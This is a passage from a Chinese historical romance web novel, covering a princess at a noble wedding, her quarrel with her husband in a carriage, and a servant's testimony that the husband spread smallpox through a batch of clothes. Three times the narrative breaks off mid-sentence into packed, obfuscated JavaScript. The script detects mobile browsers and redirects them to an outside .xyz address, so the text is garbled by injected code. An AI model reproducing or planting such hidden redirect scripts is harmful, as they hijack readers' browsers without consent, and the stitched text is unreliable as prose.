松醪点头,她明白苻庆心中的顾虑,可是偏偏杜至善就是一个十分干净的人。 “公主,您出嫁前薛贵妃便调查过驸马,可驸马不过几年前才回到京中,且一回到京城便开始准备科举,实在是没有什么好调查的。” “我知道。” 自从苻庆与杜至善成婚后,杜至善每日下值后便回到府中,甚至与同僚的饭局都很少参加。每次在揽晴轩不是看书便是练字,若不是这几日苻庆把决明支出去了,杜至善身边连个婢女都没有,实在是无趣得可怕。 其实要调查还有一个方向,便是杜至善求学数年的白鹿洞书院,但那书院距离京城颇远,苻庆还没有办法神不知鬼不觉地派人出去。 看苻庆皱着眉头,松醪意识到对方真的很在意杜至善最近的变化,开口问道:“公主可是发现什么了?” “没有,最可怕的就是因为我没有发现。”苻庆看着松醪,“虽说我不了解杜至善,但我知道杜至善是一个只要下定了决心便会勇往直前的人,但你有没有觉得最近的杜至善反而好像是慢下来了,看起来什么都没有做。” 松醪明白了苻庆的意思,“公主的意思是说,您担心驸马又在我们不知道的地方动了手脚?” 想到这,苻庆缓缓呼出一口气。 “若是能够查出痘疫一事与他到底有没有瓜葛便好了,那到时候我就能顺藤摸瓜找到杜至善手下的其他人,说不定就能对杜至善的其他计划有些了解。” 松醪的法子都要走宫中,但苻庆到目前为止还不想让薛贵妃知道太多。 “算了,反正今日大伯便要入京了,之后我做一些事情也就方便些了。” 松醪点头,将玉佩戴在苻庆的腰间。 梳妆打扮结束,苻庆伸手招呼门外站着的小丫鬟走进来。 “驸马走了吗?” 小丫鬟点头,“已经走了一会了。” 苻庆看向松醪,“看来他还真是挺看重孔家的。” 松醪用一块手帕给苻庆净手,“驸马一向是个不爱迟到的人。” 苻庆从鼻子中哼了一声,“这样也好,省得他耽误了我今日要看的大戏。” “公主别急,想来宁国公府现在也已经把戏台子搭好了。” 坐着马车很快便到了目的地,宁国公府的装饰与前一日看到的其实没什么区别,只是红绸子比那时候更多了,丫鬟们也都换上了喜庆的衣服,这下终于看不出来哪些是监视宁慈心的人,哪些是普通的丫鬟了。 宁国公夫妇站在门外迎宾,此时还不到迎亲的时间,因此宾客们还算是从容不迫。苻庆送了礼金,与宁国公夫妇寒暄两句后便进了宁国公府。 坐小轿没一会便到了花厅,今日花厅布置得很是雅致,甚至还引了一汪泉水从中流经。苻庆注意到泉中还有锦鲤,很是感兴趣,想着这会还不到落座的时间,便拉着松醪选了处石凳坐下看景。 “松醪你看,这条锦鲤好肥啊!” 松醪循着苻庆手指看过去,果然是一条肚子很大的锦鲤。 “公主您想的不会是把它炖了吧?奴婢可先告诉您,这锦鲤不好吃的。” 苻庆的心思被说穿,只能眨眨眼睛瞥了松醪一眼,嘴硬着说道:“哪有?” 松醪看着苻庆的样子,露出一个忍俊不禁的笑容。 二人正看着水中的锦鲤发呆,忽然听见一阵喧哗从院外传来,苻庆站起身,正好与推着英国公轮椅走进来的婉娘对视。 在外面还是要把样子做足的,苻庆低头行礼,“大伯,大伯母。” 英国公笑着点头,婉娘也将英国公推到了苻庆跟前。 “阿庆今日收拾得真漂亮。” 苻庆伸手摸了下自己的发梢,笑着说道:“我也这么觉得。” 英国公哈哈大笑。 见英国公笑得这么高兴,婉娘轻轻说道:“公主,既然如此我便将国公爷暂时托付给你了,我还要去一趟瑕英长公主的院子。” 虽说年纪相仿,但婉娘按辈分是宁慈心的长辈,因此需要在婚礼这日给宁慈心簪花。 “伯母放心吧,我会好好照顾大伯的。” 看着婉娘离开的背影,苻庆轻轻捏了捏英国公的肩膀。 “大伯真的不用我跟着过去?” “我相信婉娘。”英国公的表情很是笃定,“再说,还不到你我出现的时候。” 婉娘离开后,苻庆又开始拉着英国公一起看泉水中的锦鲤。这会苻庆终于找到了一个志同道合的人,和英国公一同对着最肥的那条锦鲤流口水。 松醪在一旁笑着摇头。 大约过了一炷香,婉娘走了回来。苻庆率先走过去,婉娘没有说什么,只是微笑着对苻庆点了点头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446178|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >苻庆明白,戏台子已经搭好了。 虽说已经入了夏,但英国公仍然不能在外头吹风太久,婉娘便推着英国公先去了宴席那边。 “这鱼确实是好看,也不知道程怜香看过没有?” 松醪笑着瞥了苻庆一眼,“公主可是想念程伶人了?” 苻庆也不掩饰,干脆点了点头。 “自打从玉泉别院回来,还没有见过他呢,也不知道他想没想我。” “公主放心吧,程伶人知道你这几日繁忙,不会怪您的,您就安心忙这些事情吧。” 苻庆嗔怪地看了一眼松醪,“你知道什么?即便是他不怪我,我也想见他。” 松醪还有些不适应这样扭捏的苻庆,颇有些无奈地别过了眼睛。 这一扭头,便看见赵王从月洞门走了进来。 松醪轻轻用胳膊肘碰了碰苻庆。 “看见了。”苻庆的声音很轻,“走吧,戏要开场了。” 跟在赵王身后不远,苻庆也到宴席这边落了座。 今天宁国公府并没有分席,因此苻庆能够坐在座位上很轻松地看到赵王,而赵王也能在位置上看到英国公与婉娘。 果不其然,赵王又向婉娘走了过去。 “这还是小弟第一次见嫂子吧?给嫂子请安了。” 婉娘站起身向赵王福身,“见过赵王。” “说起来前段时间兄长寿诞的时候我便想要拜会嫂嫂,没想到兄长不肯同意,还大发雷霆训了弟弟一顿呢。”说到这,赵王摸了摸下巴上的胡子,“如今一看怪不得兄长不肯让嫂嫂出来见人,确实是绝代美人。” “赵王若是喝多了酒便去一旁洗把脸,再胡说可别怪我不客气。” 赵王完全不在意英国公的威胁,“哥哥这是哪里话?小弟还有一事要问哥哥呢。” 英国公抬头,一双眼睛静静地盯着赵王。 “不知嫂子是何方人士啊?虽说是逃难来的,但总能知道家在何方吧。” 英国公伸手揽了婉娘一把,“赵王,你这话是什么意思?” “小弟没别的意思,只是因为小弟看嫂嫂有些眼熟,与小弟府上原先走失的一个歌女有些相似。那个歌女很是大胆,试图行刺本王未遂,所以我一直在找这个找死的歌女在哪。” “大胆!”英国公一拍桌子,“赵王,这是我的夫人,你最好放尊重点。” “大哥何苦动怒呢?小弟也不过是看着相似随口一说罢了。再者说,难道大哥就不好奇嫂嫂逃难来到京城前是做什么的吗?”赵王逼近英国公,脸上的笑意带着明显的挑衅,“还是说大哥早就知道嫂嫂从前是做什么的,只是不肯告诉我们罢了。” “你!”英国公的手紧紧攥着轮椅的扶手,像是在极力压抑自己的怒火。“赵王,这是宁国公府,我不同你计较,也请你滚远一点。” “大哥别忘了,如今你早已经不在定州了,这是京城,不是你的长金邑!若是你不肯说,本王只能将此事交给京城府调查了!” “你敢!” 英国公话还没说完,赵王忽然吃痛一般捂住了胳膊,众人本就被他们两人的对话吸引过去了目光,因此就在大庭广众之下,眼睁睁地看着一个小姑娘将手中的一壶热茶泼在了赵王胳膊上。 苻庆赶紧站起身,向这边走了过来。 89. 茶水 离近了便能够看到那壶茶水应该是很烫,因为都泼到了赵王衣袖上还在冒着滚滚热气,赵王的表情很凝重,捂着胳膊的时候还不忘死死地瞪着那个小姑娘。小姑娘垂着头,好像已经吓坏了,一动也不敢动。 “不长眼睛的东西!你怎么不去死!” 说着赵王便要抬腿踹到那个小姑娘身上,见那个小姑娘没有动,苻庆感觉走上前拉开了她。 “赵王,您这是何苦呢?” “本王教训下人,哪轮得到你来插嘴,还不赶紧滚开?” 赵王大概真是动了怒,竟伸出手要推搡苻庆。苻庆并没有动,而是站在原地护着那个小姑娘。 “赵王,您别忘了这不是赵王府,而是宁国公府,今日还是瑕英长公主出嫁的好日子呢。” “那又如何?这个不长眼的东西敢扰了本王的好心情,本王今日就是要惩罚她。” “赵王!” 所有人的目光被吸引到院子门口,宁国公夫妇总算是过来了。 “这是怎么回事啊?赵王老弟既然愿意到我府上为我捧场,怎么还能吵起来呢?” “宁国公,你家的丫鬟是从哪找来的,这么没规矩?”赵王将被茶水弄脏了的袖子在宁国公面前一扫而过,“这种东西若是在我府上,早就被乱棍打死了。” “赵王老弟说笑了,今日是我女儿的婚礼,喊打喊杀着实晦气。更何况,她并非是我们家的婢女。” 宁国公夫人此时已经走到苻庆身后扶住了那个小姑娘,在低声询问过她没有事情后,立刻对赵王说道:“赵王,这是我与国公爷前些日子刚收的义女珍儿,此事连陛下都知晓,你今日却对珍儿出言不逊,可是对陛下有所不满啊?” 赵王一愣,他当然知道宁国公收了个婢女做义女的事情,却没想到竟然就是这个女孩。 虽说是义女,但这可是过了陛下口谕的。更何况这个姑娘当时在京城掀起了轩然大波,如今好不容易平息下去,赵王可不想在这种时候触霉头。 “原来是本王有眼不识泰山了。”赵王拍了拍自己的衣摆,“多有得罪。” 宁国公夫人与宁国公对视一眼,打算先带着珍儿离开宴席。说起来她也不知道珍儿是怎么跑过来的,之前她一直被养在庄子上,还是昨日宁慈心突然说起,才将她接回来的。 宁国公夫人本来很意外宁慈心会转变了态度,但一想到整件事都是从宁慈心虐待婢女而起,宾客们若是能够在婚宴上看到珍儿确实被自己妥善照顾,对宁慈心日后的声誉应当也是有利的,便答应了下来。 就在宁国公夫人扶着珍儿走过英国公的时候,她忽然挣脱开宁国公夫人的手,一把抱住了婉娘的胳膊。 “姐姐!姐姐!珍儿终于找到你了!” 婉娘一愣,却也很快蹲下身,在仔细看过珍儿的眉眼后问道:“珍儿?真的是你吗?珍儿?” 一时间在场所有人都愣在了远处,而苻庆费了好大功夫才忍住没有笑出来。 还是宁国公夫人率先反应过来,走上前扶起珍儿。婉娘见珍儿哭得上气不接下气,便将自己有个亲妹妹被父亲卖到大户人家做奴婢,后来自己外出逃难便与妹妹失散的事情说了出来。 苻庆在旁边听着,心中忍不住感慨宁慈心还算是有点脑子,连珍儿身上有什么胎记和疤痕都一并告诉了婉娘。 很快,在场的众人便意识到这是一出骨肉相认的感人戏码,纷纷恭喜起宁国公夫妇喜上加喜,而英国公与宁国公也借此攀上了亲戚关系。 只有赵王,在听到这一切后,拂袖离开了宴席。 松醪轻轻碰了碰苻庆的胳膊,“公主,这出戏好看吗?” “没有程怜香的戏,都只能说是一般。” 松醪一笑,退回到苻庆身后。 就在这时,门外传来了震天响的鞭炮声。 “新郎来了!新郎来接亲了!” 宾客们都涌向门口,院子中只留下了苻庆主仆、英国公夫妇以及刚认下姐姐的珍儿。 “夫人……” 听到珍儿这样轻声唤自己,婉娘赶紧搂过她的肩膀。 “你放心,本来我也没有什么亲人了,日后你便是我的亲妹妹。一会送走瑕英长公主,我便带着你离开此处。” 珍儿的眼泪又滚出来,扑通一声跪在地上说道:“只要夫人能带我离开这里,珍儿此生愿为夫人做牛做马。” 苻庆瞧着这一幕,暗暗叹了口气。 看来她猜得没错,即便是将珍儿送到庄子上,她过的日子也并不好。宁慈心这个人眼里容不下钉子,必然不会放过这个害自己嫁给孔孚的罪魁祸首的。 苻庆走到英国公身边,俯下身轻声询问:“大伯还好吗?” 英国公轻轻摇头,脸上带着笑容安慰苻庆,“我没事,刚才只是为了配合演这出戏罢了。” 苻庆假装没有看出英国公在刚才那刻眼中透露出来的杀气,点点头含糊了过去。 宁慈心出嫁的时候苻庆并没有过去看,只是远远看见一个披着大红色嫁衣盖着红盖头的女孩被男人背着走出了宁国公府的大门。 苻庆自己成婚的时候没有盖过红盖头,不知道盖着这块盖头的宁慈心会在想什么,反正从她的角度看过去,她只觉得这块盖头可真大啊,宁慈心平时看着那么颐指气使的一个人,被这盖头盖上后都快找不到了。 送宁慈心出门后,宾客们重新回到了宴席这边,苻庆也跟着坐下吃了几口东西,只是心里想着刚才宁慈心被背出门的样子,感觉嘴里也是味同嚼蜡。 吃菜的间隙,苻庆看见穆长欢笑着从人群中走来走去,一路不停地招呼宾客。 像今日这种宴席场合,仅靠宁国公夫人一人之力必然是照顾不过来的,但苻庆没想到会是挺着大肚子的穆长欢从旁协助,毕竟从那天的情况来看,穆长欢对于自己的孩子还是很重视的,生怕有什么好歹。 “瑕英长公主,咱们又见面了。” 苻庆微笑着对穆长欢点头。 “嫂嫂辛苦,挺着肚子还要来照顾客人。” 穆长欢掩面一笑,“没办法,谁让我是宁国公府的长媳呢,阿焕也在那边招呼客人呢。” 毕竟宁焕未来是要继承宁国公爵位的人,在这种时候跟着招呼客人确实是应该的。 “说起来阿慈妹妹真是命好,我听闻孔家人丁兴旺,除了本支以外还有不少旁嗣居住在京中,这样一大家子人想想便是热闹,阿慈妹妹即便嫁过去恐怕也不必做什么管家的工作吧。” 孔家如今没落,家中没有几个做官的人,诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446179|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大的家产实则就剩下一个空壳,偏偏还抱着名头不肯撒手,因此就连远房的亲戚投奔都只能借住在家中,一栋宅子只有主子便挤了几十口人,住的很是局促。苻庆没想到穆长欢会将这种事情拿出来说,面色已经有些不快。 “瑕英长公主既然已经出嫁,你作为嫂嫂多多帮衬便是,至于孔家的事还轮不到你来管。如今你月份也大了,还是不要劳心劳神,安心养胎更好。” “多谢长公主关系。”穆长欢抚上自己的肚子,“说起来长公主也已经成婚将近一月了,可想好什么时候要孩子了吗?” 苻庆没想到穆长欢还要将矛头对准自己,敷衍着说道:“这都是没有影子的事情,之后再说吧。” “公主这是哪里话?如果我没记错的话,驸马也是一脉单传的吧?杜家难道会允许公主只生一个女儿出来吗?” 苻庆的面色已经变得铁青,再开口的声音也生硬了许多。 “怎么?难道嫂嫂便确定肚子里一定是个男孩吗?” “长公主怎么知道的?阿焕已经找人给我看过了,大家都说我肚子里一定是个男孩。” 苻庆看着穆长欢得意洋洋的样子,她其实并不生气,只是觉得穆长欢的样子有点可怜。她只想到自己怀了男孩能够为宁国公府开枝散叶,却没想过自己最终的作用只能用来传宗接代是一种可悲。 “既然如此,那我就提前恭喜你了。” 苻庆起身打算离开,却被穆长欢一把拦住了。 “公主,虽说您此前孤身一人习惯了,但既然嫁入了杜家便要为夫家着想,您这副冷心冷情的样子难道你的公公婆婆会喜欢吗?这京中谁人不知是杜夫人脾气好,但您也要注意些才是,免得丢了我们女子的脸面。” 此时苻庆才反应过来穆长欢今日的态度是为何,原来是杜夫人这么念着自己,从背后说了自己不少话。 “嫂嫂,我劝你还是安稳些吧,既然你这么喜欢这个孩子,即便是不为自己想,也要为你的儿子想一想,毕竟都这么大月份了。” 听了苻庆这话,穆长欢赶紧护住了自己的肚子,有些警觉地盯着苻庆。 苻庆不屑于伤害一个怀了孕的女子,她只是觉得这一切都有些没意思,因此也不顾穆长欢还站在原地,拉过松醪的手便向外走去。 宁国公府门外还是一地鞭炮的碎屑,苻庆踩着一地红色纸屑走出门,表情瞧不出悲喜。她现在的心情着实有些复杂,说不上来哪里难受,却又真切地感觉自己心口被捅了一刀。 本以为在门外会看到自家的马车,没想到一扭头,却看见杜至善穿着一袭月白色的道袍,正在宁国公府门外不远处看着自己。 苻庆一愣。 “你怎么过来了?” “想着你可能还没回府,便过来碰碰运气,果然看见了府上的马车。” “那你怎么不让人通报一声?” “我与宁国公夫妇都不熟悉,贸然拜访有些失礼,我猜到你不喜欢这种场合,便想着你大约很快便能出来了。” 苻庆瞧着杜至善似笑非笑的眼睛,他又流露出了胸有成竹的神情,也是苻庆最讨厌看到的样子。 已经有人从宁国公府陆续离开,路过他们二人时都会对他们侧目,苻庆能够感觉到他们的窃窃私语。 90. 停车 “有劳驸马了,先上车吧。” “好。”杜至善从善如流地伸出胳膊,示意苻庆扶着他的胳膊登上马车。苻庆迟疑了一霎,最后还是扶着他的胳膊上了车。 回去路上杜至善没有坐另一辆马车,而是选择与苻庆共乘一辆。 不知道是不是因为他们两人有段时间没有共乘一辆车了,苻庆总觉得有些不适应,好像马车都比从前小了一些,导致他们两个只能肩膀挨着肩膀、胳膊贴着胳膊地坐在一起。 “下次这种时候你就不要过来接我了,我自己回去就行。” “只是绕了点路,没有什么麻烦的,再者说我们是夫妻,我来等你一起回家不也是正常的吗?” “可我不喜欢你忽然出现,也不喜欢你这样猜测我的心思。”苻庆今日已经没有力气继续跟杜至善绕弯子,“杜至善,咱们两人之间,不必如此。” “那公主的意思是,之前您对我说的话都作废了?”杜至善看向苻庆,眼中的笑意逐渐隐去,“我好像记得公主曾经讲过,我可以猜公主一个人的心思,我认为那是公主对我的一种信任。” 苻庆看向杜至善,对方的目光直视着她,而这种带着侵略性的目光让她有些不舒服。 苻庆别过头。 “杜至善,但我觉得你有点越界了。” 苻庆确实说过杜至善可以猜测她心思的话,但当时他们二人并不相熟,苻庆也并不知晓杜至善是个什么样的人。 “公主的意思是说,我做得并非是一个驸马应该做的事情吗?” “杜至善!”苻庆压低声音说道:“你明知道我在说什么,有些话我还不想说到明面上来。” “公主您别忘了,我们是圣上赐婚,即便是薛贵妃都很满意这桩婚事。”杜至善的声音同样压得很低,“难道说公主是反悔了?还是对陛下的圣旨有些不满?” “停车!”苻庆忽然高声叫道。 马车顿了一下,缓缓停了下来。 看到苻庆起身,杜至善一把拉住了苻庆的胳膊。 “你要干什么去?” “我要下车。”苻庆面无表情,“你自己回府吧。” 杜至善的手并没有松开,苻庆有些难以置信地看向杜至善,后者的脸色铁青。 “继续走,我要回府。” “大胆!”苻庆有些着急,“你还记得谁是公主府的主子吗?我要下车!” “继续走!”杜至善几乎是一字一顿地说道:“公主身子不适,立刻回府。” 马车颠簸一下,接着缓慢行驶了起来。 “公主!公主!你们快停车啊!” 苻庆能够听到松醪的声音,但这声音也没有制止住马车的前进。苻庆低着头看向杜至善,对方已经松开了手,甚至从容不迫地坐直了身子,轻轻抚平自己的衣摆。 “公主,不要再闹了。” “杜至善,我看你是疯了。” 杜至善迎着苻庆的目光抬头,似笑非笑地看向苻庆,开口询问道:“那公主想怎么样?难道你还能在行驶的马车上跳下去吗?” 半晌,苻庆缓缓吐出一句话。 “你怎么知道我做不到?” 下一霎,苻庆已经掀开帘子走了出去。 杜至善一愣,赶紧掀起帘子,伸过手却只能任由苻庆的衣袖从手心滑落。 就在人来人往的大街上,苻庆忽然从前行的马车上跳了下来。她的动作很快,就连松醪都没有反应过来。 马车终于停了下来。 杜至善赶紧下车查看,苻庆侧着坐在地上,捂着脚踝不说话。松醪跪在一旁查看着苻庆的脚踝,面上很是着急。 杜至善想要走过去,却被松醪一把拦住。 “不劳驸马费心了,还请驸马尽快回府吧。” 杜至善有些无奈,他的心也在突突跳着,刚才苻庆的动作着实吓了他一跳。 “公主这是何苦呢?做这种事情实在是太不理智了。” “不是你让我跳下去的吗?”苻庆的脸上带着笑容,有种胜利者的兴奋感,“杜至善,你以为就凭你便能关得住我?” 杜至善有些无奈,蹲下身看着苻庆。 “好了,这下你可以让我抱着你回府了吗?这大街上人来人往的,像什么样子?” “你别碰我。”苻庆的语气很凶,松醪也立刻挡在了杜至善跟前。 “我暂且不想看到你,你走吧。” “公主。” “驸马若是不听公主的话,奴婢只能进宫禀明贵妃娘娘了。”松醪看着杜至善,“奴婢想着驸马也不想让此等小事传到宫里那位耳中吧?” 杜至善听出来了松醪口中的威胁,但他并不将此事放在心上。杜至善明白皇帝的赐婚只是为了平衡朝堂上的关系,对于他们婚后是否幸福并不放在心上。 “既然如此,你大可以现在便入宫……” 杜至善话还没说完,忽然听到身后传来一阵马蹄疾驰的声音。 杜至善与苻庆一同往杜至善身后看去,竟然是数日不见的决明骑着马跑了过来。决明见到他们,立刻下马跑了过来。 “驸马,邱大人要您即刻入宫。” “邱大人?”杜至善回头看了苻庆一眼,“可说是什么事了?” 决明摇头,“邱大人只说事情紧急,要您即刻动身。” 杜至善呼出一口气,站起身看着苻庆,居高临下的眼神看不出情绪。 “既然如此,我便不陪着公主回府了,公主自己注意安全。”顿了顿,杜至善继续说道:“不过公主这样不顾惜自己身体的事,我希望不要有下一次。” 看着杜至善翻身上马,苻庆才扶着松醪缓慢站起身。 松醪看着苻庆脸色都有些白了的样子,轻声问道:“公主,您没事吧?” 苻庆的眼睛还在看着杜至善离开的方向,“松醪,我的脚踝扭伤了,你让马车送我去顾仙人那里。” 松醪点头,扶着苻庆上了马车。这会车夫听话了许多,很快便带着苻庆到了顾仙人的住处。 刚进门,苻庆便看到程怜香正坐在炉子旁边认真对着柴火扇风。 “程怜香!” 听到苻庆的声音,程怜香立刻站起身向苻庆走来。 刚才在门外还需要松醪搀扶着才能够走路的苻庆立刻恢复了正常,小跑两步到程怜香眼前,一蹦跳到了程怜香身上。 “想我了没?” 程怜香两只手紧紧搂着苻庆的腰,用力点了点头。 “若不是你那日传了信给我,我真要拿着手帕去公主府找你了。” 苻庆把脑袋埋在程怜香颈窝处,发出阵阵闷笑声。 顾仙人扇着蒲扇走过来,无奈地摇着头说:“早知道我就不将真相告诉小香香了,现在看着你俩腻歪的样子,还真有点不习惯。” “那你就早点习惯吧。”程怜香不舍得放下苻庆,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446180|185107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我们这都好长时间没见了,偶尔腻歪一下也是正常的嘛。” “那公主殿下,您还要不要办正事了?” 苻庆连忙跳下来站好,“顾仙人,此前的事情还未当面谢过您,待这件事了了,我一定去宫里找姨母再要几包茶叶出来。” “这还差不多。”顾仙人的胡子尖一抖一抖。 程怜香搬了一把椅子让苻庆坐下,自己蹲在一旁继续给柴火扇风。 炉子上也不知道烧的是什么药,闻起来有股沁人心脾的味道。 “那日公主递信过来后,老朽立刻去问了城中几个相熟的大夫,最后确实找到一个符合公主描述的人。” 苻庆一喜,当时她传信给程怜香的时候其实没有抱太大希望,毕竟自己连对方是死是活都不知道,在京城中找寻起来确实像大海捞针,却没想到顾仙人真的能够帮自己找到一个头绪。 “那个人确实是在前几日出现的,身上裹着一件宽大的衣服,头发披散着,轻易看不到他的长相,但他身上那件衣服质地很好,因此引起了旁人的注意。”顾仙人顿了顿,“而且最重要的是,有传闻说那人染过痘疫,因此把脸毁了。” “那咱们还等什么?”苻庆站起身,“事不宜迟,劳烦顾仙人带路,能够让我见一见这个人。” 听到苻庆的动静,程怜香也走到苻庆跟前,顾仙人与程怜香交换了一个眼神,程怜香低头看着苻庆说道:“公主,你可要想好了,那人万一真的染过痘疫便有些危险了。” 苻庆不是没有想过这个问题,她虽然还算是身体健康,但确实没有染过痘疫,若是因此染了病确实会有生命危险。 “不行,程怜香,事关重大,我必须得去问一问。” 程怜香微微皱眉,有些担心地看着苻庆,“若是你真的怀疑痘疫一事是杜至善惹出来的,日后你多多防范他便是了,为何一定要刨根问底,非知道真相不可呢?” 苻庆知道程怜香这话说得有道理,但程怜香只知其一不知其二。若是苻庆与杜至善真的只是一对普通夫妻,有些事情不知道也就罢了,但他们有要共同谋划的事情,苻庆可能允许自己的卧榻之旁有只猛虎酣睡,但却不能允许自己不知道真相。 “我与杜至善之间,并非只是普通夫妻这么简单。”苻庆拉过程怜香的手,“以后若有机会,我会将这件事全部告诉你的,但还不是现在。” 程怜香心中有一瞬间的伤心,但很快便被程怜香揭过,他明白自己的身份,也明白苻庆心中一直都有苦衷。 “好,那我陪你一起去。” “不行。”苻庆斩钉截铁地拒绝了程怜香,“你也没有出过痘,会有危险的。” “可是你都不怕……” “我的脸不重要,但你是要靠着这张脸吃饭的。”苻庆轻轻一笑,“程怜香,我不会有事的。” “不行,我必须跟你一起去,我不能眼睁睁地看着你自己去犯险!” “松醪!”苻庆扭过头,“你在此处陪着程怜香,我同顾仙人一起去。” 程怜香还要说话,却被顾仙人轻轻拍了拍手背。 “公主说的有道理,再者说你去了也没什么用,只不过徒增风险而已。”顾仙人将炉子上的药壶端下,将药水分别倒在一个瓷碗中。 “这是抵御痘疫的药汁,虽说作用不大,但也是聊胜于无吧。”顾仙人将碗递给苻庆,“我小的时候便已经出过痘了,所以你只要顾好你自己就行。” 91. 人证 苻庆点头,将碗中的药喝下后,接过顾仙人递给她的手帕覆住口鼻,与顾仙人一同从后门走了出去。 跟着顾仙人七拐八拐终于到了一个小巷子,从巷子口便有许多衣衫褴褛的人或坐或卧在地上,他们无一例外都是蓬头垢面,有些敌意地看着苻庆与顾仙人。 顾仙人伸手挡了一下苻庆,苻庆扶了一下顾仙人,摇摇头示意对方自己没事。 二人就这样一路走到了巷子最深处。 顾仙人先去找一个人问了问,确认他们要找的人便在此处,接着便和苻庆一个又一个寻找起来。 在路过一个斜躺在地上的人时,苻庆忽然被一束光晃到了眼睛,扭头看过去,原来是那个人在小拇指上戴了一个戒指。 “玉泉?” 那人一开始没有动静,苻庆又蹲下身唤了两声,他才终于将蒙在头上的衣服取了下来。 “玉泉!” 玉泉也是一愣,在确定对方就是苻庆之后,立刻跪在地上向苻庆行礼。 “好了好了,这时候还管这些礼节干什么?”苻庆赶紧拉住了他,“这段时间,你受苦了。” 玉泉原先是在宫中伺候的小黄门,因为学过一点功夫被松醪选中,跟着苻庆到了公主府中,是苻庆安插在府中的眼线之一。从前晏呢殿与公主府之间传递消息也常常是由他来,做事有几分机敏。 “公主,奴婢侥幸活下来了,但是……”玉泉露出一截脖子,苻庆一看才发现脖子上都是出过痘后的疤痕,一眼看过去甚至有些可怖。 “府中出事后,大家本来都在府中等着,虽说有生病的风险,但到底还有太医来医治,不算穷途末路。可谁知驸马却说要急着迎公主回府,必须将奴婢们统统赶出去,送回宫中。” 苻庆本以为突然能够回府是宫中来的旨意,没想到就连这件事都与杜至善有关。 “奴婢知道一旦回宫,恐怕便是凶多吉少了,因此在皇城司带奴婢们回宫之前,悄悄从一个狗洞中爬了出来。之后,便到了这里。” 苻庆叹了口气,“好,能活着便是万幸了,旁的都不重要。” “奴婢明白即便奴婢如今病好了,这幅样子也绝不回去皇宫了,公主府的那些人也都回不来了。”玉泉用衣服遮盖住脖子上的疤痕,“因此,奴婢只求公主做主,这病是驸马带进来的,是驸马蓄意要害死我们!” 虽说这个念头已经在脑子中过了一遍又一遍,但听到玉泉这么肯定地说出这些话的时候,苻庆还是感觉心头一震。 “这到底是怎么回事?” “公主您刚刚离府,驸马便不知从哪运了一批衣服进来,说这些衣服都在库房中存了许久,要赶快清洗出来。那些衣服很多,驸马又很是着急的样子,因此那一日除了后厨的人,几乎都过去帮着打理衣服了。” “你的意思是说,那些衣服有问题?” “最先得病的便是那几个洗衣服的人!再之后我们这些接触过衣服的人,全都无一幸免。”玉泉睁着一双眼睛看着苻庆,“公主,那几个洗衣服的都死了。” 听到这,苻庆轻轻闭了闭眼睛,这些人都是跟着自己从宫中出来的,如今因为自己受此无妄之灾,这让她怎么能够心安呢。 “那你可知道杜至善为何没有出痘?” 玉泉摇头,“说来也奇怪,驸马将衣服送来那日是接触过那些衣服的,但最终却没有出痘。可是公主,奴婢真的敢保证,这病一定是跟着那些衣服进来的啊!” “你别着急,我肯定是相信你的。”苻庆轻轻拍着玉泉的背安抚着他,“我只是奇怪他怎么会用一个这么毒的招数对付我,就连自己都算计进去了。” 玉泉的身体看起来还很虚弱,这几日的风餐露宿也让他面如菜色,在说完这些话后便倒在了地上,顾仙人走过来搭了脉,对苻庆说道:“他身子太弱,得赶紧带他离开这里。” 苻庆点头,“玉泉是宫里的人,他在外头是活不了的,公主府暂时没法容下他,不知道能不能劳烦您再照顾他几日?最多三日,我一定过来领他。” “公主不必着急,这么个小孩子我还是管得了的。” 顾仙人从外头找了一辆平板车,与苻庆一同将玉泉推到了不远处一家药铺。 “便是这家药店的主人告诉我消息的,公主在此处稍候,咱们带他回去有些不方便,不如先将他托付在这里。” 毕竟顾仙人门外还有公主府的眼线,苻庆点了点头,让顾仙人将玉泉安置在了药铺。 很快,二人便按照原路返回了药庐。 还没进门便看着程怜香在屋内打转,苻庆露出一个笑容,快步走了进去。顾仙人看着苻庆急不可耐的样子,笑着摇头。 一见到苻庆,程怜香便开始拉着苻庆左看右看,顾仙人受不了他的样子,赶紧对程怜香解释道:“那孩子身上的痘早已经结痂,没有过人的风险了。” 苻庆笑着推了推程怜香的胳膊,“再说了,即便我真的染病,这一会你又能瞧出什么来?” 程怜香并不在意苻庆的话,反而将苻庆搂得更紧一些。 “以后若还有这种事情,还是叫我陪你一起去吧。” “你别咒我,”苻庆笑着推开程怜香,却不愿意回答程怜香的这句话。 “我在这等着你只能干着急,一点用都没有。”程怜香的眉头蹙着,“我知道我帮不上你什么忙,但至少我可以站在你身边。” 苻庆看着程怜香一脸担忧的样子,只觉得心里一阵温暖。 “对于我来说,你能站在我身边已经足够了。” 